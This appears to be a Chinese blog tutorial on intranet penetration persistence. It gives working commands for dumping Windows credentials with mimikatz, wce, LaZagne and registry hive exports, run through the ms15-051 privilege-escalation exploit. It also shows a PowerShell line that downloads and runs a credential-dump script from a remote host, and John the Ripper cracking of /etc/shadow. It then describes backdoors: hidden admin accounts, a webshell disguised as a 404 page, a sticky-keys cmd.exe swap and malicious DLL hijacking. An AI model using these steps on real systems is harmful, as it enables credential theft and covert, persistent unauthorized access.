内网渗透之——权限维持(获取windows、linux密码,安装后门程序)

介绍

当攻击者获取服务器权限后,通常会采用一些后门技术来维持自己当前得到的权限,服务器一旦被植入后门,那么攻击者下次进入就方便多了

目的

由于攻击可能被发现,被发现后可能会被将之前拿到的的webshell清除,导致目标丢失,所以需要留下后门来维持权限,达到持续控制的目的

获取系统登陆账号密码

windows获取系统登陆账号密码

windows系统账号密码存储位置:

C:\Windows\System32\config\SAM

windows密码验证原理:
在Windows系统中,对用户账户的安全管理采用了SAM(Security Account Manager,安全账号管理)机制,用户账户以及密码经过Hash加密之后,都保存在SAM数据库中。
SAM数据库保存在C:\WINDOWS\system32\config\SAM文件中,当用户登录系统时,首先就要与SAM文件中存放的账户信息进行对比,验证通过方可登录。系统对SAM文件提供了保护机制,无法将其复制或是删除,也无法直接读取其中的内容。

SAM文件加密方式:
1.LM加密:Windows2003之前,包括win2003系统
2.NTLM加密:Windows 2003之后的系统
LM和NTLM都是基于Hash加密,但是它们的安全机制和安全强度存在差别,LM口令散列的安全性相对比较差。尽管现在已很少有人使用Windows2k之前的老版本系统,但为了保持向后兼容性,默认情况下,系统仍会将用户密码分别用这两种机制加密后存放在SAM数据库里。
区别:
LM加密,密码最多14位,如果口令不足14位,不足的部分用0补齐,把所有的字符转变为大写,然后分成两组,每组7位,分别加密,然后拼接在一起,就是最终的LM散列,本质是DES加密。
NTLM加密,先将用户口令转变为unicode编码,再进行标准MD4单向哈希加密。
LM加密安全性远低于NTLM加密,因为NTLM加密它允许使用更长的密码,允许有大小写的不同,而且也无须把密码分割成更小、更易于被破解的块。所以在一个纯NTLM环境中,应该关闭Lan Manager加密方式

获取SAM文件内容:

获取sam密码方式
1.非免杀版工具:wce.exe,QuarksPwDump.exe,Pwdump7.exe,gethash.exe,mimikatz
2.免杀版:
2.1使用注册表导出hash:
命令

 reg save hklm\sam C:\hash\sam.hive
 reg save hklm\system C:\hash\system.hive

之后将导出的文件下载下来,使用Pwdump7进行破解
2.2导出sam文件
shadow copy (一般用在域控上几万 几十万用户的时候)
2.3其他方式
procdump(或者lsadump)+mimikatz
Powershell+mimikatz
powershell+getpasshash
powershell+其他工具

破解密码
1.在线破解
http://www.objectif-securite.ch/en/ophcrack.php
http://cmd5.com
https://somd5.com
2.本地破解( 暴力破解)
LM加密: cain
 NTLM加密: ophcrack+彩虹表(彩虹表下载:http://ophcrack.sourceforge.net/tables.php)

注意事项
1.LM只能存储小于等于14个字符的密码hash,如果密码大于14位,windows就自动使用NTLM对其进行加密了,只有对应的NTLM hash可用了,在LM-Password中会以全0显示。
2.一般情况下使用工具导出的hash都有对应的LM和NTLM值,也就是说这个密码位数<=14,这时LM也会有值,除了LM值全为0之外,在老版本中看到LM:aad3b435b51404eeaad3b435b51404ee开头显示的表示密码为空或者位数超过14位
3.在win2K3之前包括win2K3会默认启用LM加密,win2K3之后的系统禁用了LM加密,使用NTLM加密
4.LM方式的加密会存在一个对应的NTLM hash值

QuarksPwDump.exe

1.QuarksPwDump.exe导出本地哈希值,上传QuarksPwDump.exe到目标机C:\Windows\Temp\下

2.利用ms15-051x64.exe(exp)提权成功后菜刀虚拟终端输入命令:

C:\Windows\Temp\ms15-051x64.exe "C:\Windows\Temp\QuarksPwDump.exe --dump-hash-local"

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第1张图片

3.AFFFEBA176210FAD4628F0524BFE1942即为密码,之后拿到cmd5进行破解即可

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第2张图片

mimikatz

注意:只能抓取已经登陆用户的密码

利用mimikatz抓取账号明文哈希值原理

从lsass.exe进程中直接获取密码信息进行破解,而且该破解应该并非穷举方式,而是直接根据算法进行反向计算
lsass.exe是系统进程,用于本地安全认证服务

1.利用菜刀上传mimikatz到目标机C:\Windows\Temp\下

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第3张图片

2.利用ms15-051x64.exe(exp)提权成功后菜刀虚拟终端输入命令:

C:\Windows\Temp\ms15-051x64.exe "C:\Windows\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit"

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第4张图片

wce.exe

1.上传wce.exe到目标机C:\Windows\Temp\下

2.目标机输入    

wce.exe -l 列出密码和凭证

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第5张图片

wce.exe -lv 读取sam文件的密码

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第6张图片

powershell脚本

windows自带,相当于加强的命令行,可扩展许多脚本,里面大多windows和linux的命令都可以用

扩展Invoke-WCMDump脚本获取哈希值(从Credential Manager导出Windows凭据的Powershell脚本)

1.上传脚本使用使用

修改策略为可加载脚本

Set-ExecutionPolicy unrestricted

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第7张图片

加载Invoke-WCMDump脚本

Import-Module .\Invoke-WCMDump.ps1

之后直接输入脚本名Ivoke-WCMDump运行
内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第8张图片

2.不上传脚本使用

直接使用命令行远程网上访问(地址为可访问的脚本下载地址)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/Invoke-WCMDump.ps1');Invoke-WCMDump"

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第9张图片

Lazagne

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。 因为每个软件储存密码的方式不尽相同(明文、API、定制算法、数据库等),所以该工具使用多种方法获取软件密码

1.cmd输入lazagne.exe -h查看说明

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第10张图片

2.提取哈希值(all所有  写具体的模块就提取指定模块)

lazagne.exe all

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第11张图片

linux、unix获取系统登陆账号密码

系统账号密码存储位置:

密码:/etc/shadow      账号:/etc/passwd

/etc/shadow
例如:root:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/:17564:0:99999:7:::

密码为以:分割的第二部分:$6$Rw99zZ2B$AZwfboPWM6z2tiBeK.EL74sivucCa8YhCrXGCBoVdeYUGsf8iwNxJkr.wTLDjI5poygaUcLaWtP/gewQkO7jT/
第一个$是加密方式,第二个$是盐值,第三个$是加密后的密码
当第一个$为1时,使用md5加密,第一个$为5时,采用SHA256进行加密,第一个$为6时,采用SHA512进行加密

破解密码:
使用John the ripper:

1.使用默认字典直接破解

直接在命令行输入

john --single /etc/shadow

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第12张图片

之后输入cat .john/john.pot  即可查看密码

2.自己指定字典破解

新建一个字典,写入密码

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第13张图片

输入以下代码:

john --wordlist list /etc/shadow

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第14张图片

安装后门程序

目的

攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境

常见的后门技术

隐藏、克隆账户,隐藏webshell,shift后门,启动项、计划任务,DLL劫持技术,Powershell后门,远控软件

此处以介绍其中几种方式

1.隐藏、克隆账户

原理

创建用户时,结尾加上$,该用户就成为一个隐藏用户

流程:创建一个$结尾的用户za$,查看该用户时,发现没有该用户

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第15张图片

将za$用户添加到管理员组

之后在登陆时,就可使用za$用户进行登陆,并且za$用户具有管理员权限

2.利用404页面隐藏webshell(利用403也可以,原理相同)

首先将网页404报错的源代码复制下来

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第16张图片内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第17张图片

之后在网站目录里新建一个1.php文件,里面写入上面的源码,/1212改为我们自己新建的文件名,并在下面加上一句话木马



404 Not Found

Not Found

The requested URL /1.php was not found on this server.

访问1.php就会造成没有此文件的404假象

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第18张图片

之后用菜刀连接即可

内网渗透之——权限维持(获取windows、linux密码,安装后门程序)_第19张图片

3.Windows Shift后门

原理:

利用cmd.exe重命名,覆盖原来的粘连键。当我们再次触发粘连键时,相当于运行了cmd.exe

sethc.exe位置:

Windows/System32/sethc.exe

流程:

将cmd.exe 重命名并替换掉shift(粘滞键)(sethc.exe)功能,这样在通过远程桌面登录服务器之后,在输入帐号密码处,按5次shift即可弹出cmd的命令行,权限为system。

4.DLL劫持提权

DLL劫持原理举例:

例如你安装了酷狗播放器,而酷狗播放器在播放音乐的时候必须调用Windows系统下一个标准动态链接库mp3play.dll,那么黑客就自己开发一个恶意的mp3play.dll,然后再找一个MP3歌曲,将这个恶意的DLL和歌曲放在同一个文件夹下,然后打包压缩发给受害者。

如果受害者用右键将这个压缩包中的MP3文件和DLL文件都解压缩到了一个目录中(90%的人会这样干),那么当受害者点击这个MP3文件的时候,酷狗就会先去寻找mp3play.dll进行加载,而微软设计的加载dll顺序是先从默认文件本身的目录进行寻找,于是那个虚假的、恶意的mp3play.dll就先被加载运行了。

 

你可能感兴趣的:(渗透测试(内网渗透))